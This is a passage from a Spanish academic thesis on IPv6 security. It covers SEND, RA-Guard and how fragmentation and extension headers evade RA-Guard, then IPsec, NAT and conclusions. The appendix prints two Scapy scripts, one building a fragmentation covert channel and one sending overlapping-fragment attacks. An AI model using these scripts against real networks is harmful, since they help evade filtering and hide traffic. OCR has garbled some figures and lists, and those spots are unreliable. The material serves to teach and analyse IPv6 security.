SEND usa el algoritmo de Authorization Delegation Discovery %9(ADD) para
validar y autorizar routers IPv6 que buscan convertirse en puertas de enlace por
defecto para los nodos y especifica prefijos IPv6 que un router esta autorizado a
anunciar dentro del link. ADD se basa en certificados electrénicos validados por una
entidad de confianza. Antes de que cualquier nodo acepte un router por defecto, el
nodo debe ser configurado para comunicarse con un vinculo de confianza que
puede certificar la identidad del router, quien ante una solicitud envia su certificado

X.5009.

®® Nonce: Numero utilizado una sola vez

®” Timstamp: Etiquet que denotan fecha y hora.

®® Router authorization: Autorizacion de Router

® Authorization Delegation Discovery: Descubrimiento de delegacién de autoridad
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La Fig. 48 [37] muestra una vista simplificada de los mecanismos de
autorizacion. SEND ofrece dos nuevo mensajes ICMPv6 para identificar el proceso
de autorizacién del router: Certificate Path Solicitation’® (CPS) y el Certificate Path
Advertisement "}(CPA).

Un host envia un mensaje CPS, ICMv6 tipo 148, solicitando al router un
certificado valido. El mensaje CPA, ICMPv6, de tipo 149 es enviado en respuesta a

un mensaje de CPS y contiene el certificado del router.

Certlflf:ado Certificado
Autoridad Router

Certificante -
Emisién - Emisién
Router R

Emisién U
SN Solicitud de e
%\ certificacion del Certificado
Router X.509

Anuncio Router

A

A

CPS: Confio en CA,, quien eres tu?

v

CPA: Soy R, este es mi certificado CR firmado por CA,

Verificacion de CR contra CAy

Comienzo del uso de R como default Gateway

Fig. 48 - Mecanismo de autenticacion SEND
5.2.4.2 RA-Guard [36]

Cuando se estd operando con IPv6 en un segmento de red compartido de
capa 2, sin un soporte completo de SEND por todos los dispositivos conectados o sin
la disponibilidad de la infraestructura necesaria para soportar SEND, existen riesgos
de que mensajes falsos de RA sean generados por personas no autorizadas o debido
a malas configuraciones de routers conectados al segmento. Un posible escenario
de implementacién de esta tecnologia se ilustra en la Fig. 49.

RA-Guard puede ser considerado como un superconjunto de SEND
respecto a los anuncios de los routers. Su finalidad es filtrar los mensajes RA
basandose en una serie de criterios, como por ejemplo: “RA no permitido en cierta
interfaz”, “RA permitido desde fuentes pre-definidas” o “RA permitidos desde

fuentes autorizadas Unicamente”.

7% Certificate path solicitation: Solicitud de camino de certificacion
! Certificate path advertisement: Anuncio de camino de certificacion
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Ademas de esta granularidad de criterios, RA-Guard introduce el concepto
de router-proxy de autorizaciéon. En lugar de que cada nodo en el enlace analice los
mensajes RA y tome una decisién individual, un legitimo “nodo en el medio” realiza
el analisis en nombre de todos los demds nodos dentro del enlace. Este analisis no
es diferente del que haria un nodo: si SEND esta habilitado, el mensaje RA es
comprobado con certificados X.509.

Si cualquier otro criterio de filtrado estd en uso correspondiente a capa 3
(direcciones) o capa 2 (direcciéon de capa de enlace, nimero de puerto) que
legitiman las fuentes de los mensajes de RA, el nodo en el medio puede usar dichos

criterios y filtrar los mensajes de RA que no lo cumplan.

Dispositivo Capa 2

Trafico RA de entrada Trafico RA de entrada
Blogueado E Permitido @

: Host Router

Tréfico RA de entrada
Bloqueado

Fig. 49 - Escenario de implementacion de RA-Guard

5.2.4.2.1 Ataques contra RA

Algunas implementaciones de RA-Guard intentan identificar los mensajes
RA simplemente buscando el campo Préxima Cabecera, de la cabecera IPv6
principal, en lugar de seguir la cadena de encabezados completa. Este proceso falla
si se incluye otra cabecera de extension (por ejemplo Salto a Salto, Opciones del

Destino). Esto se puede observar en la Fig. 50 [38]:

Cabecera

Cabecera Op. | 1cyipyg Router
1Pv6

del Destino / Advertisement

Préxima
Cabecera=
58 ICMP

Préxima
Cabecera= 6
Opc. Destino.

Fig. 50 - Ataques contra RA-Guard - Cadena de encabezados
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5.2.4.2.2 Basados en Fragmentacion

La idea bdsica es que un mensaje RA sea fragmentado en al menos dos
fragmentos, el dispositivo capa 2 que implementa RA-Guard se ve imposibilitado de
identificar el paquete.

En una primera variante un paquete ICMPv6 RA estd precedido de una
cabecera de extension Opciones del Destino, resultando en dos fragmentos, como

se puede observar en la Fig. 51 [38]:

Paquete Original

Cabecera Cabecera Op. ICMPv6 Router
1Pvé del Destino A Advertisement
Préxima Préxima
Cabecera = 60) Cabecera=
Opc. Destino. 58ICMP
1°Fragmento
Cabecera | Cabecerade Opciones del
IPv6 /’Fragmentac./ Destino
Préxima Préxima Préxima
Cabecera=44 Cabecera =60 Cabecera =58
Fragmentac. Opc. Destino ICMP
2° Fragmento
Ca:):c:ra A rl(:Iabeceratde OP[(;IDZ?S del 7’ ICMPv6 Router
. / regmentac-/ estino Advertisement

Préxima Préxima Préxima
Cabecera =44 Cabecera= 60 Cabecera=58
Fragmentac. Opc. Destino ICMP

Fig. 51 - Ataques contra RA-Guard - Fragmentacion |

Lo fundamental es que el campo Tamano de la cabecera de Opciones del
Destino, esté presente en el primer fragmento, en lugar del segundo. Es imposible
para un dispositivo procesar sélo el segundo fragmento en busqueda de cudnto
tiene que desplazarse para encontrar la cabecera que sigue a Opciones del Destino.

Un dispositivo de capa 2 podria detectar por lo menos que un paquete
ICMPv6 de algun tipo esta siendo enviado y no puede realizar el filtrado.

Una segunda alternativa, consiste en hacer que sea imposible para un
dispositivo de capa 2 detectar incluso que se esta enviando un paquete ICMPV6.
Esto se conseguiria enviando un paquete ICMv6 procedido de dos cabeceras de

Opciones del destino, como se ilustra en la Fig. 52:

“Analisis de Seguridad en el protocolo IPv6” 50



5— INTERNET CONTROL MESSAGE PROTOCOL PARA IPV6 (ICMPV6)

Paquete Origin

Cabecera
IPv6

Proxima

Cabecera= 60)

Opc. Destino.

Cabecera Op]|

del Destino |
Préxima
Cabecera =60

Cabecera Op

7 del Destino

Préxima

Cabecera=|

Opc. Destino

58 ICMP

ICMPv6 Router
Advertisement

1° Fragmento

Cabecera rCabecera de Opciones del
IPv6 ] Fragmentac. 4 Destino
Préxima Préxima Préxima
Cabecera=44 Cabecera = 60 Cabecera =60
Fragmentac. Opc. Destino Opc. Destino
2° Fragmento
Cabecera | Cabecera de i Opciones del
Ay N OP[‘;"":?S del o ICMPV6 Router
VI ragmentac. _—> 'estino .
/ i ____,_—-E—IDB'_— Advertisement
Préxima Préxima " Préxima
Cabecera=44 Cabecera= 60 Cabecera=
Fragmentac. Opc. Destino 58 ICMP

Fig. 52 - Ataques contra RA-Guard - Fragmentacion Il

En el primer fragmento el campo Prdoxima cabecera=60 (Opciones del

Destino) es imposible determinar un mensaje ICMPv6. Mientras que en el segundo

caso presenta el mismo inconveniente que la primera alternativa

5.2.4.2.3 Consejos de implementacion de RA [38]
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cabecera RA

evento.

debe dejar pasar el paquete

Si el Limite de Saltos no es 255, RA-Guard debe dejar pasar el paquete

Si la direccion IPve de origen no es de tipo link-local Fe80::/10 RA-Guard

RA-Guard debe analizar toda la cadena de encabezados para detectar la

Cuando RA-Guard analice la cadena de encabezados IPv6, si el paquete es el
primer fragmento y falla en contener toda la lista de cabeceras (incluyendo

la de capa superior), RA-Guard debe eliminar los paquetes y loguear el
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6 SOPORTE DE IPSEC [39]

IPsec es una suite de protocolos pensados con el propdsito de asegurar las
comunicaciones originadas sobre IP (capa 3 del modelo OSl), autenticando y/o
cifrando los paquetes en un flujo de datos. IPsec describe los protocolos necesarios
para el establecimiento de claves de cifrado.

Otros protocolos de seguridad para internet de uso generalizado, como
SSL, TLS y SSH operan de la capa de transporte (capa 4) hacia arriba (hasta capa 7
del modelo OSI). Esta situacion favorece a IPsec, pues al ser mas flexible puede ser
utilizado para proteger protocolos de la capa de transporte como TCP y UDP.

Una ventaja importante de IPSec sobre los métodos que operan en capas
superiores, es que para que una aplicacion pueda emplearlo, no se necesita realizar
ningun cambio sobre el cddigo, mientras que para usar SSL u otros protocolos de
niveles superiores si es necesario dicha modificacion.

IPsec proporciona los siguientes servicios de seguridad:

e Cifrado del trafico: evitando que pueda ser leido por partes que no estan
autorizadas.

e Validacién de integridad: asegurar que el trafico no fue modificado en su
trayecto.

e Autenticacion de los extremos: asegurar que el trafico proviene de un
extremo de confianza.

e Anti-repeticién: proteger el trafico contra la repeticidn de la sesién segura.

IPsec fue definido en una misma especificaciéon, tanto para IPv4 como para
IPv6 (RFC 2401 [40] actualizado por el RFC 4301 [41]). Sin embargo, para poder ser
incluido en IPv4 se emplean mecanismos que no son nativos del propio protocolo,
mientras en IPv6, por su propia arquitectura extensible, permite la implementacion
de IPsec en forma “natural”.

Un aspecto relevante que se debe mencionar es que IPv6 habilita la
posibilidad de usar IPsec, y no de los mecanismos de cifrado y autenticacion propios

de IPsec.
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6.1 Modos de funcionamiento de IPSec

“IPsec tiene dos modos de funcionamiento que proporcionan distintos
niveles de seguridad:

e Modo Transporte: se cifra y/o autentica la carga util, o payload, pero las
cabeceras no se tienen en cuenta. Tiene como ventaja que se puede utilizar
de extremo a extremo pero, por contra, la informacidon de las cabeceras,
como la direccion IP de origen y destino, es visible.

e Modo Tunel: una plataforma, o pasarela, encapsula el paquete original en
otro paquete. Con ello se cifra y/o autentica el paquete original completo,
pero se necesita de una plataforma que realice el tunel.

Ademas, IPsec tiene dos modos o protocolos de transferencia, que a su vez
pueden funcionar en modo tunel o transporte:

e AH (Authentication Header’?): proporciona autenticacién, integridad y un
servicio de anti-repeticién opcional.

e ESP (Encapsulating Security Payload’®): ademas de las ventajas anteriores
proporciona confidencialidad.

En la Fig. 53 se ilustra la implementacién de AH en modo tunel y en modo
transporte, mientras que en la Fig. 54 se ilustra la implementacion de ESP en modo

tunel y transporte.” [39]

El paquete entero esta autenticado
(excepto campos variables TTL, Tos, Fragmentacién, etc

Modo Nueva -
Tanel Cabecera IP Cabecera AH | Cabecera IP Carga Util
=T I —
Modo Cabecera IP -
Transporte Original Cabecera AH Carga Util

Fig. 53 - Implementacién de AH en modo Tunel y Transporte

Autenticado
(excepto campos variables: TTL, ToS, Fragmentacion, etc.

Modo Cabecera . Trailer ESP
Tanel Cabecera IP ESP Cabecera IP Carga Util ESp AUTH
—————— ——"—:, P
----------- s e
P " » »
Modo Cabecera IP Cabecera - Trailer ESP
L. Carga Util
Transporte Original ESP ESP AUTH

Fig. 54 - Implementacion de ESP en modo Tunel y Transporte

72 Authentication Header: Cabecera de autenticacion
”® Encapsulating Security Payload: Protocolo de carga de seguridad encapsulada
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6.2 Estado de desarrollo actual

Mucha gente afirma que “IPv6 es mas seguro que IPv4 porque la seguridad
fue considerada durante el disefio del protocolo” [42]. Esta afirmacion se basa en
los supuestos que IPsec en su nacimiento, fue opcional para IPv4, mientras que para
IPv6 (que se encontraba en proceso de desarrollo) era obligatorio ( [17] y [43]). Mas
especificamente se definia soporte tanto para AH como para ESP.

En la practica muchos fabricantes no cumplian con el estandar de soportar
obligatoriamente IPsec dentro de IPv6 ya sea porque los clientes no lo solicitaban o
argumentaban que sus productos ganarian en performance si omitian el soporte
para IPsec.

La IEFT reconocié esta situacion [44] y cambid la cualidad de obligatorio a
opcional. Los fabricantes son libres de implementar IPsec en la pila IPv6 de sus
productos. Esto significa que los compradores tienen que evaluar la necesidad de
IPsec como una necesidad aparte de la implementacion de IPv6.

La IEFT, sin embargo, refuerza los requerimientos exactos para la
implementacién de IPsec en IPv6, ya que el documento tiene soporte para el RFC
4301 [41] que tiene elementos obligatorios para las implementaciones de IPsec en
IPv6. Se especifica soporte para Internet Key Exchange74 (IKE), lo que convierte a
IPsec en mas seguro y desplegable. Este RFC también exige soporte para un
conjunto minimo de algoritmos criptograficos, caracteristica que permite que IPsec
sea mas interoperable entre las implementaciones de los distintos fabricantes.

El principal problema de IPSec es que necesita un “acuerdo” entre las dos
entidades que participan en una comunicacién unicast. Esto suele significar el uso
de certificados digitales (o claves pre-compartidas, que es ain menos escalable), lo
que complica el problema. Las Public-key Infrastructure’® (PKIs) distan mucho de ser
usables a nivel global. [45]

Por esta razon, el uso de IPsec en IPv6 es por el momento similar al de IPv4,

para conexiones pre-configuradas como, por ejemplo, las utilizadas en las VPN.

" Internet Key Exchange: es un protocolo usado para establecer una Asociacion de Seguridad (SA) en
el protocolo IPsec.
7> public-key-Infraestructure: Infraestructura de clave publica
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La solucién futura para el problema anterior puede que se base en
mecanismos externos como certificados transportados por DNS asegurado con

Domain Name System Security Extensions DNSSEC 7° [39].

’® Domain Name System Security Extensions: Extensiones de Seguridad para el Sistema de Nombre
de Dominio.
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7 OTROS ASPECTOS IMPORTANTES DE IPV6

7.1 Conectividad Extremo a Extremo [42]

La red Internet en sus inicios se basd en el principio de “extremo a
extremo”, que consiste en contar con una red “tonta”, recayendo la inteligencia
sobre los extremos (hosts). Esto conduce a una arquitectura en la que es posible la
comunicacion entre cualquier par de nodos, donde la red simplemente reenvia los
paquetes desde el origen al destino sin examinar su contenido.

Sin embargo, en Internet IPv4, este principio es violado por los dispositivos
que implementan NAT.

Se esperaria que con IPv6, la existencia de NAT desaparezca (hecho que se
verd a continuacién que no es asi) y se retorne a este principio de “extremo a
extremo”. Sin embargo, a pesar de la gran cantidad de direcciones IPv6 disponibles
para que los dispositivos de conecten a Internet, para la mayoria de los
administradores o usuarios finales, este principio no es algo deseado.

Por ejemplo, un administrador no estara dispuesto a que cualquier host
puede ser alcanzado directamente desde el exterior por algin host arbitrario,
debido a la mayor vulnerabilidad frente a un ataque. En lugar de ello, preferira una
arquitectura de red protegida por un firewall que solo permita las comunicaciones

originadas desde dentro de la red.

7.2 Presencia de NAT [42]

Muchos afirman que debido a la gran cantidad de direcciones IPv6
disponibles, los mecanismos de NAT no seran necesarios. Sin embargo, la realidad
muestra otra verdad.

Durante la etapa de transicién hacia IPv6, el uso de NAT se vio
incrementado por varias razones. Por un lado algunos mecanismos de
transicién/coexistencia no disminuyeron la necesidad de direcciones IPv4, por lo
que tuvo amplia difusion los llamados Large-Scale NATs ’’(LSN), que fueron unos de

los impulsores del crecimiento de NAT en Internet IPv4. Por otro lado, se

77 .z . .
Large-scale NAT: Traduccion de direcciones de red a gran escala
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encuentran los mecanismos de transicion/coexistencia como NAT64 que permite la
comunicacion de nodos sélo IPv6 con nodos sélo IPv4, que introducen otro tipo de
NAT, tanto en Internet IPv4 como IPv6.

El potencial desarrollo de Network Address Translation — Port Translation
"8(NAT-PTs), debe ser tenido en cuenta. En un principio NAT fue desarrollado para
detener el agotamiento de direcciones IPv4, pero inmediatamente se utilizé sus
beneficios en el area de enmascaramiento de host/redes, y bloqueo de conexiones
entrantes. Existen argumentos suficientes para justificar el hecho que este bloqueo
de direcciones puede hacerse sin el uso de mecanismos de NAT. Ademads el
enmascaramiento de host/redes no tiene muchas implicancias en seguridad.

Pero el ser humano frente al cambio, y los arquitectos de red tienes sus
subredes IPv6 en paralelo con las de IPv4, desarrollan NAT-PTs IPv6 para que actuen

como puertas de enlace de Internet para los nodos internos.

7.3 Doble exposicion IPv6 e IPv4 [39]

Los mecanismos de transicion fueron pensados para que la
implementaciéon de IPv6 se haga en forma progresiva y se pronostica que durard
varios afios, inclusos algunos especialistas afirman que siempre coexistiran ambas
versiones de los protocolos.

Uno de los mecanismos de transicidn consiste en que un mismo nodo
soporte ambas implementaciones tanto IPv4 como IPv6, llamado doble pila. Esto
provocard que haya mayores posibilidades de existencia de vulnerabilidades. Un
sistema podra ser atacado utilizando IPv4, IPv6 o una combinacién de ambos, por
ejemplo usando IPv4 para detectar el equipo e IPv6 como canal oculto de
comunicacion.

Asi mismo, se debe tener en cuenta que IPv4 e IPv6 son protocolos que
pertenecen a la capa de red y los problemas de seguridad mas importantes de los
ultimos afos fueron debido a problemas en la capa de aplicacién y por el empleo de
técnicas de ingenieria social, por lo que seguirdn produciéndose con independencia

del protocolo de red empleado.

’® Network Address Translation — Port Translation: Traduccién de direcciones de red — Traduccién de
puertos.
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8 CONCLUSIONES

IPv6 fue pensado para dar solucién al problema de asignacién de
direcciones de IPv4, teniendo también como prioridad disefiar un protocolo que
ofrezca mayor robustez, eficiencia y seguridad.

Debido al enorme espacio de direcciones que ofrece IPv6, estd latente el
mito de que es inviable o imposible la realizacién de un escaneo de host en una
subred IPv6 por las técnicas tradicionales que se basan en la “fuerza bruta”. Sin
embargo, como se mostré en el desarrollo del trabajo, el universo de direcciones
gue un atacante debe analizar se ve reducido por multiples factores ya sea por
caracteristicas propias del protocolo (como por ejemplo el uso de SLAAC vy las IEE-
EUA 64 bits, por mecanismos de transicién) o por acciones de los mismos usuarios
(configuracion manual de direcciones, asignacion de pool DHCP, el uso de
virtualizacién).

Ademas se debe tener en cuenta que existen otras técnicas que también
facilitan el descubrimiento de host en una subred IPv6 como los citados, DNS,
transferencias de zona, archivos publicos, informacion de los protocolos de ruteo
entre otros.

En cuanto a la robustez, IPv6 ofrece nuevas caracteristicas, se renovo el
protocolo ICMP, incluyendo la nueva funcionalidad de Neighbor Discovery, que no
solamente reemplaza a ARP, sino que es empleado entre otras cosas para
redireccionamiento y descubrimiento de routers. Pero como su antecesor ARP,
ICMPv6, presenta algunos ataques de DoS, Man-in-the-Middle o nuevos ataques
como anuncios de Routers falsos o parametros incorrectos.

Para mitigar estas vulnerabilidades son disefiados los protocolos de SEND,
que permite autenticar los mensajes que se envian y el protocolo RA-Guard, que
puede ser considerado como un superconjunto de SEND y es empleado donde Ia
infraestructura no permite el uso del mismo.

En relacién a la mejora en la eficiencia, se destaca la nueva estructura de la
cabecera IPv6 y la introduccién del concepto cabeceras de extensidn, y entre ellos la
cabecera de fragmentacién, que es uno de los puntos que generan mayores

inconvenientes de seguridad. Los atacantes se aprovechan de que con las
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implementaciones actuales es imposible analizar toda la cadena de encabezados,
situacion que emplean para fines maliciosos, entre ellas, vulnerar el protocolo RA-
Guard.

Respecto a la seguridad propiamente dicha, se encuentra el uso de las
extensiones de privacidad que si bien son una buena opcidn para evitar que un
usuario sea “seguido” por la red, trae como punto adverso (razén por la que
muchos no la emplean) que los administradores ven obstaculizado la operacion vy el
debugging.

Una mencidn especial debe hacerse del protocolo IPSec, que en la practica
no ofrece mayores funcionalidades que en IPv4 teniendo la ventaja que, al ser
aplicado sobre la capa de red, da soporte a capas superiores y no se requiere
modificar las aplicaciones, pero con el problema de la escalabilidad, pues por cada
tunel IPSec se deben configurar cada extremo.

IPv6 es un protocolo que, como se describid, intenta solucionar distintas
problematicas de IPv4, pero también trae consigo sus propias vulnerabilidades. Esto
no significa que sea un protocolo defectuoso, sino que actualmente sus
implementaciones son menos maduras que las correspondientes a su antecesor
IPv4, sobre el cual se soporta la mayor parte de la infraestructura de Internet, con
todo lo que eso implica.

La llegada de IPv6 es inminente, es importante que en este momento en el
cual se esta produciendo la migracion, se descubran las debilidades de seguridad
que presenta, y se propongan posibles soluciones a ellas, para evitar que en un
futuro cuando IPv6 sea el nucleo de Internet salgan a la vista. Se debe considerar
también que los fabricantes de hardware y software todavia estan adecuandose a
los estandares y esto se suma a las debilidades del protocolo.

Por ultimo se puede concluir que los protocolos por mas seguridad que
aparenten tener, el ingenio del hombre va mucho mas alla, y el ser humano
constituye el eslabdn mas débil de la cadena de un sistema de seguridad.

Es por ello que es fundamental contar con personal idéneo y capacitado en
la nueva tecnologia que aplique las mejores practicas y estandares en el momento
de su implementacién. Asi mismo cuando se encuentre en produccién tenga la

seguridad como uno de sus objetivos primordiales.
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Programa que crea un Covert Channel en IPv6 [24]

covert_channel.py

#!/usr/bin/python

from scapy.all import *

if (len(sys.argv) == 3):

dip = sys.argv[2]

sip = sys.argv[1]

else:

print "Toma dos argumentos: la direccion origen IPv6 y la
direccioén destino Ipv6”

sys.exit(1)

packetl = IPv6(src=sip,dst=dip) / IPv6ExtHdrFragment(offset=0, m=1)
/ IPv6ExtHdrDestOpt(nh=60,options=PadN(optdata="'\101"'*120) /
PadN(optdata='\102"'*150))

packet2 = IPv6(src=sip,dst=dip) /
IPv6ExtHdrFragment(offset=35,m=1,nh=60) /
IPv6ExtHdrDestOpt (nh=60,options=PadN(optdata="'\101'*120) /
PadN(optdata='\102"*150))

packet3 = IPv6(src=sip,dst=dip) /
IPv6ExtHdrFragment(offset=70,m=0,nh=60) / IPv6ExtHdrDestOpt(nh=58,
options=PadN(optdata='\101'*120) /
PadN(optdata="'\102"'*150))/ICMPv6EchoRequest()

send(packetl)
send(packet2)

send(packet3)
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frag.py - Programa para efectuar ataque de Overlapping [26]

#!/usr/bin/python
from scapy.all import *

if (len(sys.argv) == 5):

dip = sys.argv[2]

sip = sys.argv[1]
length = int(sys.argv[3])

myoffset = int(sys.argv[4])

else:

print "Toma cuatro argumentos: la direccion IPv6 origen, 1la
direccion IPv6 destino,, el tamaino de los fragmentos (en bytes)
offset del segundo fragmento (en bytes)"

sys.exit(1)

myid=random.randrange(1,4294967296,1) # genera un id de

fragmentacion arbitrario

payloadl=Raw("AABBCCDD"*(length-1))

payload2=Raw("BBDDAACC"*1length)

payload=str(Raw("AABBCCDD"*(length+myoffset-1)))
icmpv6=ICMPv6EchoRequest(data=payload)
ipve_1=IPv6(src=sip, dst=dip, plen=(length+myoffset)*8)

csum=in6_chksum(58, ipv6_1/icmpv6, str(icmpv6))

print 8*(length+1)

ipvée_1=IPv6(src=sip, dst=dip, plen=8*(length+1))
icmpve=ICMPv6EchoRequest(cksum=csum, data=payloadl)
fragl=IPv6ExtHdrFragment(offset=0, m=1, id=myid, nh=58)

frag2=IPv6ExtHdrFragment (offset=myoffset, m=0, id=myid, nh=58)

packetl=ipv6_1/fragl/icmpv6
packet2=ipv6_1/frag2/payload2

send(packetl)
send(packet2)
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